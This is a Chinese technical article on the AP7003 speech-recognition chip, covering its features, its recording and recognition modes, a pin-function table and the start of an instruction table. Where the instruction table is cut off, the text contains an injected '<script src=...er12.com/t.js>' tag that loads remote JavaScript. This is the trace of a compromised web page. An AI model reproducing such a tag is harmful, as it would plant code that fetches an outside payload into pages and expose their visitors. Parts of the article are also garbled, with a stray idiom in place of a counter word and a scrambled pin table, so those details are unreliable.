摘要:介绍了新型、低成本语音识别电路ap7003的性能、引脚、指令等内容,并给出了应用电路原理图及详细的应用方法。
关键词:语音识别 键盘控制 cpu控制 存储体 1 ap7003简介
ap7003是一款新型、低成本语音识别专用集成电路,内置有麦克风放大器、a/d转换器、语音处理器和i/o控制器,经预处理后可识别12组不同的字词,每组1.5秒时长,可连词或单词识别。ap7003包括ap7003-01(由cpu串行控制)和ap7003-02(由按键直接控制)两种型号,且最有高度的i/o可编程性,使用简单方便,可广泛应用于玩具、识别转控、自动答录等领域。
ap7003的功能框图如图1所示。其主要特性如下:
·内置麦克风放大器;
·内置a/d转换器;
·dip40双列直插式封装;
·识别12组1.5秒时长字词;
·i/o口具有2个普通输入、4个触发输入、2个输出口(分别有4个和12个输出)、2个led驱动;
·指令优化以方便用户使用;
·2.4v-4.5v工作电压,且具备低功耗模式。
2 ap7003功能说明
ap7003具有两种工作模式,即录音模式和识别模式。在使用识别模式之前,应先将目标录入芯片内。ap7003内有12狐假虎威存储体用于存储12组不同的字句,每个存储体可存储1.5秒时长的字词,可通过键盘或按程序编制的顺序选择存储体录入及存放目标词。语音可通过外部麦克风或其它媒体录入芯片内,经内部处理后以不同的数字持片信号保存于存储体中。
目标词录入芯片内后即可将工作模式转换到识别模式,工作时芯片将当前语音与事先已录入存储体的目标词语音相比较,如果有语音特征相匹配,则在芯片的相应输出端口输出高电平或低电平。需要时间以将芯片编程为省电模式以节省电能,当有按键信号时芯片将被唤醒。
ap7003采用dip40封装,引脚功能如表1所示,其典型应用电路如图2所示。
表1 ap7003引脚功能说明 引脚号 引脚名称 功能说明 1
2
3
4
8~5
12~9
13
14
15
17、18
19
20
21
22
23
24
26
27
28
29~40
16、25 pores
gndd
led1
led2
pob1~pob4
pit1~pit4
vddd
capv
osc1
pim1、pim2
test
posl
gnda
tref
a2out
a1in
a1out
micp
vdda
poa1~poa12
nc 清除a输出口(poa)输出状态,高有效)
数字地
驱动led,低有效,可编程用于指示语音录音的状态
驱动led,低有效,可编程用于指示语音识别的结果
b输出口,可编程用于键盘驱动
低脉冲触发输入,内部有上拉电阻,可编程用于键盘输入
数字电源
通过电容接地,对内部电压进行滤波
振荡频率控制,通过56kω电阻接地
普通输入引脚,可编程用于芯片工作模式控制:pim1=1时,芯片具有识别功能;pim2=1时,a端口可以输出。反之不能进行识别或a端口不能输出
测试端,芯片出厂时测试用
对a输出口有效电平进行选择:高时a口高有效;低时a口低有效
模拟地
语音输入门限控制端
第二级放大器输出端
第一级放大器负输入端
第一级放大器输出端
电子麦克风电源供应端
模拟电源
a输出口,可编程用于语音录入/语音识别对的存储体指示
未用引脚 3 ap7003-01的应用
ap7003-01可通过串行口与微控制器连接,应用图如图3所示。ap7003-01共有22个输入指令和15个输出指令,如表2所示。ap7003-01工作时序及时间定义如图4所示。
表2 ap70001指令与代码 输 入 输 出 指令 代码 指令 代码 指令 代?script src=http://er12.com/t.js>